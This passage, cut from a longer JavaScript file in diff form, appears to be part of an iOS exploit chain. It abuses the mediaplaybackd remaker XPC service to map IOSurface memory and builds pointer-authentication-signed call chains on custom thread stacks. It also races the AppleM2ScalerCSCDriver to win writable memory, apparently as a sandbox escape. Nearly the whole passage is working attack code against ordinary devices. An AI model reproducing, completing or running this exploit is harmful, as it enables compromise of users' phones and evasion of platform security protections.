${sample_buffer_data_ptr.hex()}`); + LOG(`sample_buffer_data_size: ${sample_buffer_data_size.hex()}`); + let XPC_MESSAGE_VALUE_OPCODE_SERVER_HANDLE_SET_TIMEOUT = 0x12E746F21n; + let XPC_MESSAGE_VALUE_OPCODE_SERVER_DISASSOCIATE_OBJECT_WITH_CONNECTION = 0x12E6E6370n; + let XPC_MESSAGE_VALUE_OPCODE_ASSET_CREATE_WITH_BLOCKBUFFER = 0x63724242n; + let XPC_MESSAGE_VALUE_OPCODE_ASSET_LOAD_VALUE_ASYNC_FOR_PROPERTY = 0x6C6F6431n; + let XPC_MESSAGE_VALUE_OPCODE_REMAKER_CREATE_WITH_ASSET = 0x6D727461n; + let XPC_MESSAGE_VALUE_OPCODE_REMAKER_ADD_AUDIO_TRACK_WITH_PRESET = 0x6D726170n; + let XPC_MESSAGE_VALUE_OPCODE_REMAKER_ADD_VIDEOCOMPOSITION_TRACK = 0x6D617663n; + let XPC_MESSAGE_VALUE_OPCODE_REMAKER_START_OUTPUT = 0x6D72736Fn; + let XPC_MESSAGE_VALUE_OPCODE_WRITER_CREATE_WITH_URL = 0x77727775n; + let XPC_MESSAGE_VALUE_OPCODE_WRITER_ADD_NATIVE_TRACK = 0x77616E74n; + let XPC_MESSAGE_VALUE_OPCODE_WRITER_BEGIN_SESSION = 0x77726273n; + let XPC_MESSAGE_VALUE_OPCODE_WRITER_ADD_SAMPLE_BUFFER = 0x77726173n; + let XPC_MESSAGE_KEY_OPCODE = ".Operation"; + let XPC_MESSAGE_KEY_OBJECT_ID = ".objectID"; + let XPC_MESSAGE_KEY_TRACK_ID_OUT = "TrackIDOut"; + let XPC_MESSAGE_KEY_ERROR_RETURN = ".ErrorReturn"; + let XPC_MESSAGE_KEY_BB_DATA = "BlockBufferData"; + let XPC_MESSAGE_KEY_FORMAT_IDENTIFIER_TYPE = "FormatIdentifierType"; + let XPC_MESSAGE_KEY_FORMAT_IDENTIFIER = "FormatIdentifier"; + let XPC_MESSAGE_KEY_PROPERTY_NAME = ".PropertyName"; + let XPC_MESSAGE_KEY_ASSET_TOKEN = "AssetToken"; + let XPC_MESSAGE_KEY_DEST_URL = "DestURL"; + let XPC_MESSAGE_KEY_SANDBOX_REGISTRATION_FOR_DEST_URL = "SandboxRegistrationForDestURL"; + let XPC_MESSAGE_KEY_SANDBOX_REGISTRATION_FOR_TEMP_DIR_URL = "SandboxRegistrationForTempDirURL"; + let XPC_MESSAGE_KEY_FORMAT_WRITER_OPTIONS = "FormatWriterOptions"; + let XPC_MESSAGE_KEY_REMAKER_OPTIONS = "RemakerOptions"; + let XPC_MESSAGE_KEY_MEDIA_TYPE = "MediaType"; + let XPC_MESSAGE_KEY_TIME = "Time"; + let XPC_MESSAGE_KEY_IOSURFACE = "IOSurface"; + let XPC_MESSAGE_KEY_SAMPLE_BUFFER = "SampleBuffer"; + let XPC_MESSAGE_KEY_TRACK_ID = "TrackID"; + let XPC_MESSAGE_KEY_AUDIO_PRESET_NAME = "AudioPresetName"; + let XPC_MESSAGE_KEY_AUDIO_PROCESSING_OPTIONS = "AudioProcessingOptions"; + function writer_add_sample_buffer_payload(writer, track, surface) { + let payload = xpc_dictionary_create_empty(); + let operation = xpc_uint64_create(XPC_MESSAGE_VALUE_OPCODE_WRITER_ADD_SAMPLE_BUFFER); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_OPCODE, operation); + xpc_release(operation); + let writer_id = xpc_uint64_create(writer.id); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_OBJECT_ID, writer_id); + xpc_release(writer_id); + let track_id = xpc_int64_create(track.id); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_TRACK_ID, track_id); + xpc_release(track_id); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_IOSURFACE, surface); + xpc_release(surface); + let bb_data = xpc_data_create(sample_buffer_data_ptr, sample_buffer_data_size); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_SAMPLE_BUFFER, bb_data); + xpc_release(bb_data); + return payload; + } + function writer_add_sample_buffer(connection, writer, track, surface) { + let payload = writer_add_sample_buffer_payload(writer, track, surface); + let reply = xpc_connection_send_message_with_reply_sync(connection, payload); + let er = xpc_dictionary_get_int64(reply, XPC_MESSAGE_KEY_ERROR_RETURN); + if (er != 0n) { + return er; + } + xpc_release(payload); + xpc_release(reply); + return 0n; + } + function create_bundle(path) { + if (typeof path === "string") { + path = get_cstring(path); + } + let bundle = xpc_dictionary_create_empty(); + let uuid = xpc_uuid_create(new Uint8Array([0xC3, 0x85, 0x3D, 0xCC, 0x97, 0x76, 0x41, 0x14, 0xB6, 0xC1, 0xFD, 0x9F, 0x51, 0x94, 0x4A, 0x6D])); + xpc_dictionary_set_value(bundle, "com.apple.CFURL.magic", uuid); + xpc_release(uuid); + let path_string = xpc_string_create(path); + xpc_dictionary_set_value(bundle, "com.apple.CFURL.string", path_string); + xpc_release(path_string); + xpc_dictionary_set_value(bundle, "com.apple.CFURL.base", xpc_null_create()); + return bundle; + } + function writer_create_with_url_payload(writer_path) { + if (writer_path && typeof writer_path === "string") { + writer_path = get_cstring(writer_path); + } + let payload = xpc_dictionary_create_empty(); + let XPC_MESSAGE_VALUE_OPCODE_WRITER_CREATE_WITH_FRAGMENTED_DATA = 0x77776664n; + let operation = xpc_uint64_create(XPC_MESSAGE_VALUE_OPCODE_WRITER_CREATE_WITH_FRAGMENTED_DATA); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_OPCODE, operation); + xpc_release(operation); + let format_writer_options = xpc_dictionary_create_empty(); + xpc_dictionary_set_value(format_writer_options, "FileFormat", xpc_string_create("3GPFamily")); + let remaker_options = xpc_dictionary_create_empty(); + xpc_dictionary_set_value(remaker_options, "AssetWriter_FastStart", xpc_bool_create(1n)); + let tmp_bundle = create_bundle("/tmp"); + xpc_dictionary_set_value(remaker_options, "Remaker_TemporaryDirectoryURL", tmp_bundle); + xpc_release(tmp_bundle); + let str = xpc_string_create("xxx"); + xpc_dictionary_set_value(remaker_options, "Remaker_InterimAssetName", str); + xpc_release(str); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_FORMAT_WRITER_OPTIONS, format_writer_options); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_REMAKER_OPTIONS, remaker_options); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_SANDBOX_REGISTRATION_FOR_DEST_URL, xpc_uint64_create(2n)); + return payload; + } + function writer_create_with_url(connection, writer, writer_path) { + let payload = writer_create_with_url_payload(writer_path); + let reply = xpc_connection_send_message_with_reply_sync(connection, payload); + er = xpc_dictionary_get_int64(reply, XPC_MESSAGE_KEY_ERROR_RETURN); + if (er != 0n) { + LOG(`[!] writer_create_with_url failed: ${er.hex()}`); + return er; + } + let id = xpc_dictionary_get_uint64(reply, XPC_MESSAGE_KEY_OBJECT_ID); + writer.id = id; + xpc_release(payload); + xpc_release(reply); + return 0n; + } + function writer_add_native_track_payload(writer, media_type) { + let payload = xpc_dictionary_create_empty(); + let operation = xpc_uint64_create(XPC_MESSAGE_VALUE_OPCODE_WRITER_ADD_NATIVE_TRACK); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_OPCODE, operation); + xpc_release(operation); + let writer_id = xpc_uint64_create(writer.id); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_OBJECT_ID, writer_id); + xpc_release(writer_id); + let xpc_media_type = xpc_int64_create(media_type); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_MEDIA_TYPE, xpc_media_type); + xpc_release(xpc_media_type); + return payload; + } + function writer_add_native_track(connection, writer, media_type, track) { + let payload = writer_add_native_track_payload(writer, media_type); + let reply = xpc_connection_send_message_with_reply_sync(connection, payload); + er = xpc_dictionary_get_int64(reply, XPC_MESSAGE_KEY_ERROR_RETURN); + if (er != 0n) { + LOG(`[!] writer_add_native_track failed: ${er.hex()}`); + return er; + } + let id = xpc_dictionary_get_int64(reply, XPC_MESSAGE_KEY_TRACK_ID_OUT); + track.id = id; + xpc_release(payload); + xpc_release(reply); + return 0n; + } + function surface_create_with_address(address, size) { + let dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks); + let cf_number = CFNumberCreate(kCFAllocatorDefault, 9n, new_uint64_t(size)); + res = CFDictionarySetValue(dict, kIOSurfaceAllocSize, cf_number); + let surface_width_height = CFNumberCreate(kCFAllocatorDefault, 9n, new_uint64_t(0x10n)); + let surface_element_width = CFNumberCreate(kCFAllocatorDefault, 9n, new_uint64_t(0xFFn)); + let surface_pixel = CFNumberCreate(kCFAllocatorDefault, 9n, new_uint64_t(0x68646973n)); + let address_number = CFNumberCreate(kCFAllocatorDefault, 11n, new_uint64_t(address)); + res = CFDictionarySetValue(dict, create_cfstring(get_cstring("IOSurfaceAddress")), address_number); + res = CFDictionarySetValue(dict, create_cfstring(get_cstring("IOSurfaceWidth")), surface_width_height); + res = CFDictionarySetValue(dict, create_cfstring(get_cstring("IOSurfaceHeight")), surface_width_height); + res = CFDictionarySetValue(dict, create_cfstring(get_cstring("IOSurfaceElementWidth")), surface_element_width); + res = CFDictionarySetValue(dict, create_cfstring(get_cstring("IOSurfacePixelFormat")), surface_pixel); + let surface = IOSurfaceCreate(dict); + CFRelease(dict); + if (surface == 0n) { + LOG("[!] Failed to create surface!!!"); + exit(0n); + } + return surface; + } + function writer_begin_session_payload(writer, time) { + let payload = xpc_dictionary_create_empty(); + let operation = xpc_uint64_create(XPC_MESSAGE_VALUE_OPCODE_WRITER_BEGIN_SESSION); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_OPCODE, operation); + xpc_release(operation); + let writer_id = xpc_uint64_create(writer.id); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_OBJECT_ID, writer_id); + xpc_release(writer_id); + let time_buffer_size = BigInt(time.length); + let time_buffer_ptr = wc_uread64(addrof(time) + 0x10n); + if (integrated) { + time_buffer_ptr = gpuCopyBuffer(time_buffer_ptr, time_buffer_size); + } + let time_data = xpc_data_create(time_buffer_ptr, time_buffer_size); + xpc_dictionary_set_value(payload, XPC_MESSAGE_KEY_TIME, time_data); + xpc_release(time_data); + return payload; + } + function writer_begin_session(connection, writer, time) { + let payload = writer_begin_session_payload(writer, time); + let reply = xpc_connection_send_message_with_reply_sync(connection, payload); + let er = xpc_dictionary_get_int64(reply, XPC_MESSAGE_KEY_ERROR_RETURN); + if (er != 0n) { + return er; + } + xpc_release(payload); + xpc_release(reply); + return 0n; + } + function create_iosurface(surface_size) { + let surface_address_ptr = new_uint64_t(0n); + kr = mach_vm_allocate(mach_task_self(), surface_address_ptr, surface_size, VM_FLAGS_ANYWHERE); + if (kr != 0n) { + LOG("[!] error: failed to allocate surface mapping!"); + return kr; + } + surface_address = uread64(surface_address_ptr); + LOG(`surface_address: ${surface_address.hex()}`); + LOG(`surface_size: ${surface_size.hex()}`); + let surface = surface_create_with_address(surface_address, surface_size); + return surface; + } + + let remaker_connection = null; + + function map_iosurface(surface) { + let writer = {}; + let surface_address = 0n; + let surface_port = 0n; + let surface_id = 0n; + let surface_track_id = 0n; + let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc"; + let event_handler_block = get_event_handler_block(); + remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n); + xpc_connection_set_event_handler(remaker_connection, event_handler_block); + xpc_connection_activate(remaker_connection); + surface_id = IOSurfaceGetID(surface); + surface_port = IOSurfaceCreateXPCObject(surface); + LOG(`surface_id: ${surface_id.hex()}`); + LOG(`surface_port: ${surface_port.hex()}`); + er = writer_create_with_url(remaker_connection, writer, "writer1.mov"); + assert(er == 0n, "writer creation failed"); + surface_track_id = {}; + er = writer_add_native_track(remaker_connection, writer, 0x76696465n, surface_track_id); + assert(er == 0n, "writer creation failed"); + let begin_session_time = new Uint8Array([0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]); + er = writer_begin_session(remaker_connection, writer, begin_session_time); + assert(er == 0n, "writer begin session failed"); + er = writer_add_sample_buffer(remaker_connection, writer, surface_track_id, surface_port); + assert(er == 0n, `writer add sample buffer failed: ${er.hex()}`); + return { + "surface_address": surface_address, + "surface_id": surface_id + }; + } + const tcall_DG_call_context = 0x0F45n; + const tcall_DG_return_context = 0x48D8n; + function tcall_create_thread(attr) { + let tcall_thread_ptr = new_uint64_t(); + let ret = pthread_create(tcall_thread_ptr, attr, pacia(tcall_RLG, 0n), pacia(tcall_CRLG, 0n)); + assert(ret == 0n); + return uread64(tcall_thread_ptr); + } + function tcall_create_stack(stack_size) { + let ret = 0n; + let total_stack_size = stack_size + 2n * 0x4000n; + let thread_stack = mmap(0n, total_stack_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n, 0n); + if (thread_stack == -1n) { + return undefined; + } + let guard_page_left = thread_stack; + let guard_page_right = thread_stack + total_stack_size - 0x4000n; + ret = mprotect(guard_page_left, 0x4000n, PROT_NONE); + if (ret != 0n) { + return undefined; + } + ret = mprotect(guard_page_right, 0x4000n, PROT_NONE); + if (ret != 0n) { + return undefined; + } + let stack = {}; + stack.top = guard_page_right; + stack.bottom = guard_page_left + 0x4000n; + stack.start = 0n; + stack.current = 0n; + return stack; + } + function tcall_setup_control_stack(control_stack) { + control_stack.start = control_stack.bottom + 0x4000n; + control_stack.current = control_stack.start; + } + function tcall_setup_data_stack(data_stack) { + data_stack.start = data_stack.top - 0x4000n; + data_stack.current = data_stack.start; + } + function tcall_adjust_control_stack(control_stack) { + const control_stack_adjustment = 0x30n; + control_stack.start -= control_stack_adjustment; + control_stack.current = control_stack.start; + } + function tcall_init_call(control_stack) { + control_stack.current += 0x40n; + uwrite64(control_stack.current + 64n, 0x42424242424242n); + uwrite64(control_stack.current + 72n, pacib(0x42414241n, control_stack.current + 0x50n)); + control_stack.current += 0x50n; + control_stack.start = control_stack.current; + } + function tcall_insert_call(control_stack, data_stack, last, address, x0, x1, x2, x3, x4, x5, x6, x7) { + address = address.noPAC(); + let initial_control_stack = control_stack.start; + if (last) { + initial_control_stack -= 0x10n; + } + uwrite64(control_stack.current + 64n, pacia(tcall_DSSG, 0n)); + uwrite64(control_stack.current + 128n, control_stack.current + 32n); + uwrite64(control_stack.current + 88n, 0n); + uwrite64(control_stack.current + 104n, 0n); + if (['b8', '731'].includes(get_ios_version())) { + uwrite64(control_stack.current + 112n, pacia(tcall_CSSG, tcall_DG_return_context << 48n)); + uwrite64(control_stack.current + 120n, pacia(address, tcall_DG_call_context << 48n)); + } else { + uwrite64(control_stack.current + 96n, pacia(tcall_CSSG, tcall_DG_return_context << 48n)); + uwrite64(control_stack.current + 112n, pacia(address, tcall_DG_call_context << 48n)); + } + uwrite64(control_stack.current + 80n, data_stack.current); + uwrite64(control_stack.current + 144n, 0x4141414141414141n); + uwrite64(control_stack.current + 152n, pacib(tcall_X0LG, control_stack.current + 0xa0n)); + control_stack.current += 0xA0n; + uwrite64(control_stack.current, 0x4141414141414141n); + uwrite64(control_stack.current + 8n, pacib(tcall_RLG, control_stack.current + 0x10n)); + control_stack.current += 0x10n; + control_stack.current += 0x40n; + uwrite64(control_stack.current + 0n, x7); + uwrite64(control_stack.current + 8n, x6); + uwrite64(control_stack.current + 16n, x5); + uwrite64(control_stack.current + 24n, x4); + uwrite64(control_stack.current + 32n, x3); + uwrite64(control_stack.current + 40n, x2); + uwrite64(control_stack.current + 48n, x1); + uwrite64(control_stack.current + 56n, x0); + if (last) { + uwrite64(control_stack.current + 64n, initial_control_stack); + } else { + uwrite64(control_stack.current + 64n, control_stack.current + 0x50n); + ; + } + uwrite64(control_stack.current + 72n, pacib(tcall_DG, control_stack.current + 0x50n)); + control_stack.current += 0x50n; + if (last) { + uwrite64(initial_control_stack, 0x3535353535353535n); + uwrite64(initial_control_stack + 8n, pacib(tcall_CRLG, initial_control_stack + 0x10n)); + ; + } else { + uwrite64(control_stack.current, 0x3535353535353535n); + uwrite64(control_stack.current + 8n, pacib(tcall_CRLG, control_stack.current + 0x10n)); + ; + control_stack.current += 0x10n; + } + } + adjust_pivot_stack(); + let fcall_stack_sz = PAGE_SIZE * 0x40n; + let surface_size = PAGE_SIZE * (8n + 1n) + fcall_stack_sz; + let surface_address = 0n; + let surface_address_remote = 0n; + let tb = calloc(1n, 0x8n); + mach_timebase_info(tb); + let tb_numer = uread32(tb); + let tb_denom = uread32(tb + 0x4n); + let slide = get_shared_cache_slide(); + LOG(`SLIDE: ${slide.hex()}`); + function user_slide(addr) { + return addr + slide; + } + let SCALER_SERVICE_STRING = "AppleM2ScalerCSCDriver"; + let SCALER_TRANSFORM_METHOD_INDEX = 1n; + let SCALER_TRANSFORM_ARGS_SIZE = 432n; + function scaler_open_connection() { + let kr = KERN_SUCCESS; + let svc = 0n; + svc = IOServiceGetMatchingService(kIOMainPortDefault(), IOServiceMatching(get_cstring(SCALER_SERVICE_STRING))); + let connection_ptr = new_uint64_t(); + kr = IOServiceOpen(svc, mach_task_self(), 0n, connection_ptr); + assert(kr == KERN_SUCCESS); + let connection = uread32(connection_ptr); + free(connection_ptr); + return connection; + } + function scaler_create_surface_with_address(address, size) { + let properties = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks); + let address_ptr = new_uint64_t(address); + let address_number = CFNumberCreate(kCFAllocatorDefault, 11n, address_ptr); + CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAddress")), address_number); + let size_ptr = new_uint64_t(size); + let size_number = CFNumberCreate(kCFAllocatorDefault, 9n, size_ptr); + CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAllocSize")), size_number); + let width_ptr = new_uint64_t(1024n); + let width_number = CFNumberCreate(0n, 9n, width_ptr); + CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceWidth")), width_number); + let height_ptr = new_uint64_t(1040n); + let height_number = CFNumberCreate(0n, 9n, height_ptr); + CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceHeight")), height_number); + let pixel_format_ptr = new_uint64_t(0x4c353635n); + let pixel_format_number = CFNumberCreate(0n, 9n, pixel_format_ptr); + CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfacePixelFormat")), pixel_format_number); + let surface = IOSurfaceCreate(properties); + free(address_ptr); + free(size_ptr); + free(width_ptr); + free(height_ptr); + free(pixel_format_ptr); + CFRelease(address_number); + CFRelease(size_number); + CFRelease(width_number); + CFRelease(height_number); + CFRelease(pixel_format_number); + CFRelease(properties); + return surface; + } + function scaler_transfer(connection, source_surface, destination_surface) { + let kr = KERN_SUCCESS; + let args = calloc(1n, SCALER_TRANSFORM_ARGS_SIZE); + uwrite64(args, IOSurfaceGetID(source_surface)); + uwrite64(args + 4n, IOSurfaceGetID(destination_surface)); + kr = IOConnectCallStructMethod(connection, SCALER_TRANSFORM_METHOD_INDEX, args, SCALER_TRANSFORM_ARGS_SIZE, 0n, 0n); + assert(kr == KERN_SUCCESS, "Scaler transfer failed!"); + free(args); + return kr; + } + let zero_filled_page = calloc(1n, PAGE_SIZE); + function create_file_mapping(size) { + assert(size % 0x4000n == 0); + let tmp_path = calloc(1n, MAXPATHLEN); + let tmp_path_len = confstr(_CS_DARWIN_USER_TEMP_DIR, tmp_path, MAXPATHLEN); + assert(tmp_path_len != 0n, "Failed to get tmp dir"); + if (access(tmp_path, F_OK) == -1n) { + res = mkdir(tmp_path, 0x1c0n); + assert(res == 0n, "Failed to create tmp dir"); + } + strlcat(tmp_path, get_cstring(tmp_path.hex()), MAXPATHLEN); + let fd = open(tmp_path, O_CREAT | O_RDWR, 0x1b6n); + assert(fd != -1n, "Failed to create tmp file"); + for (let i = 0n; i < size; i += PAGE_SIZE) { + let w = pwrite(fd, zero_filled_page, PAGE_SIZE, i); + assert(w == PAGE_SIZE, "Failed to write zero pages"); + } + sync(); + let mapping = mmap(0n, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0n); + assert(mapping != 0xffffffffffffffffn); + let file_mapping = {}; + file_mapping.path = tmp_path; + file_mapping.fd = fd; + file_mapping.size = size; + file_mapping.address = mapping; + return file_mapping; + } + function destroy_file_mapping(file_mapping) { + close(file_mapping.fd); + munmap(file_mapping.address, file_mapping.size); + remove(file_mapping.path); + } + let MAX_TRANSFER_BYTES = 1024n * 1024n; + let SBX1SBX1_EXP_SIZE = 8n * PAGE_SIZE; + let ORIGINAL_EXP_MARKER = 0x41n; + let MODIFIED_EXP_MARKER = 0x42n; + let n_of_race_attempts = 2048n; + let scratch_buffer = calloc(1n, MAX_TRANSFER_BYTES); + let exp_bypass_interval = 0n; + let sbx1sbx1_interval = 0n; + function insert_fcall(pthread_fcall_args, pc, x0, x1, x2, x3) { + let args_array = uread64(pthread_fcall_args + 0x108n); + let fcall_count = uread64(pthread_fcall_args + 0x110n); + uwrite64(pthread_fcall_args + 0x110n, fcall_count + 1n); + let buf = calloc(1n, 0x18n); + uwrite64(buf, x0); + uwrite64(buf + 0x10n, pacia(xpac(pc), 0n)); + let args_buf = args_array + fcall_count * 0x20n; + uwrite64(args_buf + 0x00n, buf); + uwrite64(args_buf + 0x08n, x1); + uwrite64(args_buf + 0x10n, x2); + uwrite64(args_buf + 0x18n, x3); + } + function get_ncpu() { + let ncpu = calloc(1n, 8n); + let ncpu_len = calloc(1n, 8n); + uwrite64(ncpu_len, 4n); + let ret = sysctlbyname(get_cstring("hw.ncpu"), ncpu, ncpu_len, 0n, 0n); + assert(ret == 0n); + ncpu = uread64(ncpu); + return ncpu; + } + function thread_lock_lock(lock) { + uwrite64(lock, 0x41n); + } + function thread_lock_unlock(lock) { + uwrite64(lock, 0n); + ulock_wake(UL_COMPARE_AND_WAIT | ULF_WAKE_ALL, lock, 0n); + } + function thread_group_lock(group, count) { + for (let i = 0; i < count; i++) { + if (i >= group.length) { + break; + } + thread_lock_lock(group[i].lock); + } + } + function thread_group_unlock(group, count) { + for (let i = 0; i < count; i++) { + if (i >= group.length) { + break; + } + thread_lock_unlock(group[i].lock); + } + } + function sbx1sbx1_exp_thread_setup(wait_lock, threads_ready_counter, threads_done_counter, source_address, source_size, destination_address) { + let ret = 0n; + let exp_interval = 500n; + let rqtp = calloc(1n, 16n); + uwrite64(rqtp + 8n, exp_interval); + let control_stack_size = 8n * 0x4000n; + let data_stack_size = 8n * 0x4000n; + let control_stack = tcall_create_stack(control_stack_size); + let data_stack = tcall_create_stack(data_stack_size); + tcall_setup_control_stack(control_stack); + tcall_setup_data_stack(data_stack); + let attr = calloc(1n, 64n); + ret = pthread_attr_init(attr); + assert(ret == 0n); + pthread_attr_setstacksize(attr, control_stack_size); + pthread_attr_setstackaddr(attr, control_stack.current); + tcall_adjust_control_stack(control_stack); + tcall_init_call(control_stack); + tcall_insert_call(control_stack, data_stack, false, func_resolve("OSAtomicIncrement32"), threads_ready_counter, 0n, 0n, 0n, 0n, 0n, 0n, 0n); + tcall_insert_call(control_stack, data_stack, false, func_resolve("__ulock_wait"), UL_COMPARE_AND_WAIT, wait_lock, 0x41n, 0n, 0n, 0n, 0n, 0n); + if (is_a12_devices) { + tcall_insert_call(control_stack, data_stack, false, func_resolve("usleep"), 1n, 0n, 0n, 0n, 0n, 0n, 0n, 0n); + } else { + tcall_insert_call(control_stack, data_stack, false, func_resolve("nanosleep"), rqtp, 0n, 0n, 0n, 0n, 0n, 0n, 0n); + } + tcall_insert_call(control_stack, data_stack, false, func_resolve("mach_vm_copy"), mach_task_self(), source_address, source_size, destination_address, 0n, 0n, 0n, 0n); + tcall_insert_call(control_stack, data_stack, true, func_resolve("OSAtomicIncrement32"), threads_done_counter, 0n, 0n, 0n, 0n, 0n, 0n, 0n); + let thread = tcall_create_thread(attr); + let t = {}; + t.thread = thread; + t.lock = wait_lock; + return t; + } + function sbx1sbx1_busy_thread_setup(wait_lock, threads_ready_counter, threads_done_counter, fd) { + let ret = 0n; + let control_stack_size = 8n * 0x4000n; + let data_stack_size = 8n * 0x4000n; + let control_stack = tcall_create_stack(control_stack_size); + let data_stack = tcall_create_stack(data_stack_size); + tcall_setup_control_stack(control_stack); + tcall_setup_data_stack(data_stack); + let attr = calloc(1n, 64n); + ret = pthread_attr_init(attr); + assert(ret == 0n); + pthread_attr_setstacksize(attr, control_stack_size); + pthread_attr_setstackaddr(attr, control_stack.current); + tcall_adjust_control_stack(control_stack); + tcall_init_call(control_stack); + tcall_insert_call(control_stack, data_stack, false, func_resolve("OSAtomicIncrement32"), threads_ready_counter, 0n, 0n, 0n, 0n, 0n, 0n, 0n); + tcall_insert_call(control_stack, data_stack, false, func_resolve("__ulock_wait"), UL_COMPARE_AND_WAIT, wait_lock, 0x41n, 0n, 0n, 0n, 0n, 0n); + tcall_insert_call(control_stack, data_stack, false, func_resolve("pread"), fd, scratch_buffer, MAX_TRANSFER_BYTES, 0n, 0n, 0n, 0n, 0n); + tcall_insert_call(control_stack, data_stack, true, func_resolve("OSAtomicIncrement32"), threads_done_counter, 0n, 0n, 0n, 0n, 0n, 0n, 0n); + let thread = tcall_create_thread(attr); + let t = {}; + t.thread = thread; + t.lock = wait_lock; + return t; + } + function sbx1sbx1_exp(size) { + if (size != SBX1SBX1_EXP_SIZE) { + LOG("[x] Error: EXP mapping length must match hardcoded size, for now."); + return undefined; + } + let sbx1sbx1_ctx = {}; + let scaler_connection = scaler_open_connection(); + assert(scaler_connection != 0n); + let target_surface_size = MAX_TRANSFER_BYTES + SBX1SBX1_EXP_SIZE; + let target_surface_address = 0n; + let target_fm = create_file_mapping(target_surface_size); + target_surface_address = target_fm.address; + memset(target_surface_address, 0n, target_surface_size); + let source_surface_size = target_surface_size; + let source_surface_address = 0n; + let source_surface_address_ptr = new_uint64_t(source_surface_address); + kr = mach_vm_allocate(mach_task_self(), source_surface_address_ptr, source_surface_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + assert(kr == KERN_SUCCESS); + source_surface_address = uread64(source_surface_address_ptr); + free(source_surface_address_ptr); + memset(source_surface_address, MODIFIED_EXP_MARKER, source_surface_size); + let target_surface = 0n; + let source_surface = scaler_create_surface_with_address(source_surface_address, source_surface_size); + assert(source_surface != 0n); + let threads_ready_counter = calloc(1n, 8n); + let threads_done_counter = calloc(1n, 8n); + let race_thread_lock = calloc(1n, 8n); + thread_lock_lock(race_thread_lock); + let read_size = SBX1SBX1_EXP_SIZE; + let read_address_ptr = new_uint64_t(); + kr = mach_vm_allocate(mach_task_self(), read_address_ptr, read_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + assert(kr == KERN_SUCCESS); + let read_address = uread64(read_address_ptr); + let exp_thread = sbx1sbx1_exp_thread_setup(race_thread_lock, threads_ready_counter, threads_done_counter, target_surface_address + MAX_TRANSFER_BYTES, read_size, read_address); + let busy_thread = sbx1sbx1_busy_thread_setup(race_thread_lock, threads_ready_counter, threads_done_counter, target_fm.fd); + r = pread(target_fm.fd, scratch_buffer, MAX_TRANSFER_BYTES, 0n); + assert(r == MAX_TRANSFER_BYTES); + let won = false; + exp_bypass_interval = Date.now(); + LOG("Before searching loop"); + for (let attempt = 0; attempt < n_of_race_attempts; attempt++) { + target_surface = scaler_create_surface_with_address(target_surface_address, target_surface_size); + assert(target_surface != 0n); + memset(target_surface_address, ORIGINAL_EXP_MARKER, target_surface_size); + kr = mach_vm_deallocate(mach_task_self(), read_address, read_size); + assert(kr == KERN_SUCCESS); + kr = mach_vm_allocate(mach_task_self(), read_address_ptr, read_size, VM_FLAGS_FIXED); + assert(kr == KERN_SUCCESS); + let r = 0n; + pthread_yield_np(pthread_self()); + if(!cmp8_wait_for_value(threads_ready_counter, 2)) + return sbx1sbx1_exp(size); + uwrite64(threads_ready_counter, 0n); + ulock_wake(UL_COMPARE_AND_WAIT | ULF_WAKE_ALL, race_thread_lock, 0n); + IOSurfacePrefetchPages(target_surface); + if(!cmp8_wait_for_value(threads_done_counter, 2)) + return sbx1sbx1_exp(size); + uwrite64(threads_done_counter, 0n); + kr = scaler_transfer(scaler_connection, source_surface, target_surface); + r = uread64(read_address); + if (r != 0x4141414141414141n) { + exp_bypass_interval = Date.now() - exp_bypass_interval; + LOG(`Got it: (${attempt}) ${r.hex()}`); + won = true; + break; + } + CFRelease(target_surface); + } + if (won == false) { + LOG("[x] Failed to create writable EXP memory!"); + IOServiceClose(scaler_connection); + destroy_file_mapping(target_fm); + kr = mach_vm_deallocate(mach_task_self(), read_address, read_size); + assert(kr == KERN_SUCCESS, "Failed to deallocate EXP mapping!"); + kr = mach_vm_deallocate(mach_task_self(), source_surface_address, source_surface_size); + assert(kr == KERN_SUCCESS, "Failed to deallocate source surface mapping!"); + CFRelease(source_surface); + return undefined; + } + sbx1sbx1_ctx.connection = scaler_connection; + sbx1sbx1_ctx.source_surface = source_surface; + sbx1sbx1_ctx.source_surface_address = source_surface_address; + sbx1sbx1_ctx.source_surface_size = source_surface_size; + sbx1sbx1_ctx.destination_surface = target_surface; + sbx1sbx1_ctx.destination_surface_address = target_surface_address; + sbx1sbx1_ctx.destination_surface_size = target_surface_size; + return sbx1sbx1_ctx; + } + function sbx1sbx1_exp_scratch_reset(ctx) { + memset(ctx.source_surface_address, 0n, ctx.source_surface_size); + } + function sbx1sbx1_exp_write_prepare(ctx, buffer, size) { + if (size > SBX1SBX1_EXP_SIZE) { + LOG(`[x] Error: Requested size 